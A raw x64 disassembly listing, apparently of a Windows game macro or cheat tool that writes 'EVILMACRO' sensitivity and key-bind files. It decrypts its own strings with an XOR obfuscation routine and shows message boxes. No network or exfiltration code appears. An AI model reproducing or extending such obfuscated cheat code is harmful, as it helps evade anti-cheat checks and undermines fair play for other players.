cvttss2si eax, dword [rbp + 0x2548]
lea rdx, [rbp + 0x2548]
lea rcx, [rbp + 0x4800]
mov dword [0x14008a320], eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14006a200
lea rdx, [rbp + 0x2544]
lea rcx, [rbp + 0x4910]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14006a2cb
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x2544]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
cvttss2si eax, dword [rbp + 0x2544]
lea rdx, [rbp + 0x2544]
lea rcx, [rbp + 0x4910]
mov dword [0x14008a2e8], eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14006a280
lea rdx, [rbp + 0x253c]
lea rcx, [rbp + 0x2a40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14006a34b
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x253c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
cvttss2si eax, dword [rbp + 0x253c]
lea rdx, [rbp + 0x253c]
lea rcx, [rbp + 0x2a40]
mov dword [str.stdu], eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14006a300
lea rdx, [rbp + 0x2538]
lea rcx, [rbp + 0x2b50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14006a3cb
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x2538]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
cvttss2si eax, dword [rbp + 0x2538]
lea rdx, [rbp + 0x2538]
lea rcx, [rbp + 0x2b50]
mov dword [0x14008a354], eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14006a380
lea rdx, [rbp + 0x2534]
lea rcx, [rbp + 0x2c60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14006a44b
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x2534]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
cvttss2si eax, dword [rbp + 0x2534]
lea rdx, [rbp + 0x2534]
lea rcx, [rbp + 0x2c60]
mov dword [0x14008a35c], eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14006a400
lea rdx, [rbp + 0x2530]
lea rcx, [rbp + 0x2d70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14006a4cd
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x2530]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
movss xmm0, dword [rbp + 0x2530]
lea rdx, [rbp + 0x2530]
lea rcx, [rbp + 0x2d70]
movss dword [0x14008a314], xmm0
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14006a480
lea rdx, [rbp + 0x2568]
lea rcx, [rbp + 0x3b40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14006a54d
nop word [rax + rax]
movss xmm1, dword [rbp + 0x2568]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
movss xmm0, dword [rbp + 0x2568]
lea rdx, [rbp + 0x2568]
lea rcx, [rbp + 0x3b40]
movss dword [0x14008a3e4], xmm0
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14006a500
lea rcx, [rbp + 0x3e70]
call fcn.1400706e0
lea rcx, [rbp + 0x3f80]
call fcn.1400706e0
lea rcx, [rbp + 0x4090]
call fcn.1400706e0
lea rcx, [rbp + 0x41a0]
call fcn.1400706e0
lea rcx, [rbp + 0x42b0]
call fcn.1400706e0
lea rcx, [rbp + 0x43c0]
call fcn.1400706e0
lea rcx, [rbp + 0x44d0]
call fcn.1400706e0
lea rcx, [rbp + 0x45e0]
call fcn.1400706e0
lea rcx, [rbp + 0x46f0]
call fcn.1400706e0
lea rcx, [rbp + 0x4800]
call fcn.1400706e0
lea rcx, [rbp + 0x4910]
call fcn.1400706e0
lea rcx, [rbp + 0x2a40]
call fcn.1400706e0
lea rcx, [rbp + 0x2b50]
call fcn.1400706e0
lea rcx, [rbp + 0x2c60]
call fcn.1400706e0
lea rcx, [rbp + 0x2d70]
call fcn.1400706e0
lea rcx, [rbp + 0x3b40]
call fcn.1400706e0
lea rcx, [rbp + 0x3b40]
call fcn.14004d210
lea rcx, [rbp + 0x2d70]
call fcn.14004d210
lea rcx, [rbp + 0x2c60]
call fcn.14004d210
lea rcx, [rbp + 0x2b50]
call fcn.14004d210
lea rcx, [rbp + 0x2a40]
call fcn.14004d210
lea rcx, [rbp + 0x4910]
call fcn.14004d210
lea rcx, [rbp + 0x4800]
call fcn.14004d210
lea rcx, [rbp + 0x46f0]
call fcn.14004d210
lea rcx, [rbp + 0x45e0]
call fcn.14004d210
lea rcx, [rbp + 0x44d0]
call fcn.14004d210
lea rcx, [rbp + 0x43c0]
call fcn.14004d210
lea rcx, [rbp + 0x42b0]
call fcn.14004d210
lea rcx, [rbp + 0x41a0]
call fcn.14004d210
lea rcx, [rbp + 0x4090]
call fcn.14004d210
lea rcx, [rbp + 0x3f80]
call fcn.14004d210
lea rcx, [rbp + 0x3e70]
call fcn.14004d210
lea rcx, [0x140077ab6]
call fcn.1400382d0
movaps xmm1, xmm12
movaps xmm0, xmm15
call fcn.140012400
lea rdx, [rbp + 0x590]
mov qword [rbp + 0x310], 0
lea rcx, [rbp - 4]
mov byte [rbp - 4], 0
call fcn.14006fbf0
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x14006a834
xor r8d, r8d
cmp edi, 2
jl 0x14006a7f7
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
mov r8d, 8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x14006a800
lea rdx, [rbp + 0x310]
mov rcx, r10
call fcn.1400390d0
test al, al
je 0x14006ae68
lea rdx, [rbp + 0x630]
mov byte [rbp - 3], 0
lea rcx, [rbp - 3]
call fcn.14006fc20
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x14006a994
xor r8d, r8d
cmp edi, 2
jl 0x14006a951
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
mov r8d, 8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x14006a960
mov r9d, 0x21
lea r8, str.INFO
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
sub eax, 1
je 0x14006ab51
cmp eax, 1
jne 0x14006ae68
lea rdx, [rbp + 0x1948]
mov byte [rbp - 2], 0
lea rcx, [rbp - 2]
call fcn.14006fc80
mov r10, rax
cmp byte [rax + 0x22], 0
je 0x14006ab34
xor r8d, r8d
cmp edi, 2
jl 0x14006aaf5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14006aa00
cmp r8d, 0x23
jge 0x14006ab34
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x23
jl 0x14006ab00
mov r9d, 0x30
lea r8, str.INFO
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14006ae68
lea rdx, [rbp + 0x1bf0]
mov byte [rbp - 1], 0
lea rcx, [rbp - 1]
call fcn.14006fc50
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x14006acc4
xor r8d, r8d
cmp edi, 2
jl 0x14006ac85
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14006ab90
cmp r8d, 0x24
jge 0x14006acc4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x14006ac90
mov r9d, 0x40
lea r8, str.INFO
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov r9d, 0x40
lea rdx, str.C:EVILMACRO_sensivity_1.txt
mov r8d, 2
lea rcx, [0x14008cf60]
call fcn.140071650
lea rdx, [0x140077ab6]
lea rcx, [0x14008cf60]
call fcn.140071f30
lea rdx, [0x14004cfc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x140077ab6]
call fcn.140071f30
mov rcx, rax
lea rdx, [0x140077da0]
call fcn.140071f30
lea rcx, [0x14008cf60]
call fcn.140071610
mov r9d, 0x40
mov dword [0x14008a310], 0x3f000000
mov r8d, 2
mov dword [0x14008cae8], 0x60
lea rdx, str.C:EVILMACRO_akbind.txt
mov dword [0x14008a324], 0x61
lea rcx, [0x14008c6a0]
mov dword [0x14008a31c], 0x62
mov dword [0x14008a2ec], 0x63
mov dword [0x14008a358], 0x64
mov dword [str.ebqa], 0x65
mov dword [0x14008a3e0], 0x66
mov dword [0x14008a3dc], 0x68
mov dword [0x14008a320], 0x71
mov dword [0x14008a2e8], 0x72
mov dword [str.stdu], 0x73
mov dword [0x14008a354], 0x74
mov dword [0x14008a35c], 0x75
mov dword [0x14008beb8], 0
mov dword [0x14008c2f8], 0
mov dword [0x14008a314], 0x3f800000
mov dword [0x14008a3e4], 0x3f800000
call fcn.140071650
lea rdx, [0x140077ab6]
lea rcx, [0x14008c6a0]
call fcn.140071f30
lea rdx, [0x14004cfc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x140077ab6]
call fcn.140071f30
mov rcx, rax
lea rdx, [0x140077da0]
call fcn.140071f30
lea rcx, [0x14008c6a0]
call fcn.140071610
movss xmm0, dword [0x14007f84c]
movaps xmm1, xmm12
call fcn.140012400
cmp byte [0x14008a0c9], 1
jne 0x14006aec2
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14006ae99
lea rcx, str.Best_Forum
call fcn.140013150
cmp byte [0x14008a0c9], 1
jne 0x14006aec2
cmp byte [0x14008ae2b], 1
jne 0x14006aec2
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14006aec2
lea rcx, str.____
call fcn.140013150
call fcn.14000b700
mov eax, dword [0x14008a3d8]
cmp eax, 4
jne 0x14006e451
call fcn.140057860
call fcn.14003afa0
movss xmm2, dword [0x14007f878]
lea rcx, [rbp + 0x318]
movss xmm1, dword [0x14007f870]
call fcn.140002a20
lea rdx, [rbp + 0x320]
mov byte [rbp], 0
lea rcx, [rbp]
mov rbx, rax
call fcn.14006f980
mov rcx, rax
cmp byte [rax + 7], 0
je 0x14006b034
cmp edi, 2
jl 0x14006affa
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rcx], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
jmp 0x14006b034
mov r9, rcx
xor r8d, r8d
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x14006b000
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
call fcn.14000b670
lea rcx, [0x140077ab6]
call fcn.1400382d0
movss xmm0, dword [0x14007f838]
movaps xmm1, xmm12
call fcn.140012400
cmp byte [0x14008a0c8], 0
je 0x14006b207
lea rdx, [rbp + 0x328]
mov byte [rbp + 1], 0
lea rcx, [rbp + 1]
call fcn.14006fcb0
mov rbx, rax
cmp byte [rax + 7], 0
je 0x14006b1a4
cmp edi, 2
jl 0x14006b167
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rbx], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
jmp 0x14006b1a4
mov r9, rbx
xor r8d, r8d
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x14006b170
mov edx, 0x23
mov dword [rsp + 0x20], 0xff
mov r9d, 0x6d
lea rcx, [rbp + 0x710]
mov r8d, 0xa8
call fcn.140037b30
lea rdx, [rbp + 0x720]
mov rcx, rax
call fcn.140024de0
mov rdx, rbx
lea rcx, [rbp + 0x720]
call fcn.1400383d0
cmp byte [0x14008a0c8], 1
jne 0x14006b207
movzx eax, byte [0x14008ae2b]
cmp al, 1
jne 0x14006b20e
mov byte [0x14008ae2b], 0
jmp 0x14006b397
movzx eax, byte [0x14008ae2b]
test al, al
je 0x14006b397
lea rdx, [rbp + 0x5a0]
mov byte [rbp + 2], 0
lea rcx, [rbp + 2]
call fcn.14006fcc0
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x14006b354
xor r8d, r8d
cmp edi, 2
jl 0x14006b318
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
mov r8d, 8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rbx], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
movsxd r9, r8d
add r9, rbx
nop
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x14006b320
mov edx, 0x23
mov dword [rsp + 0x20], 0xff
mov r9d, 0x6d
lea rcx, [rbp + 0x730]
mov r8d, 0xa8
call fcn.140037b30
lea rdx, [rbp + 0x740]
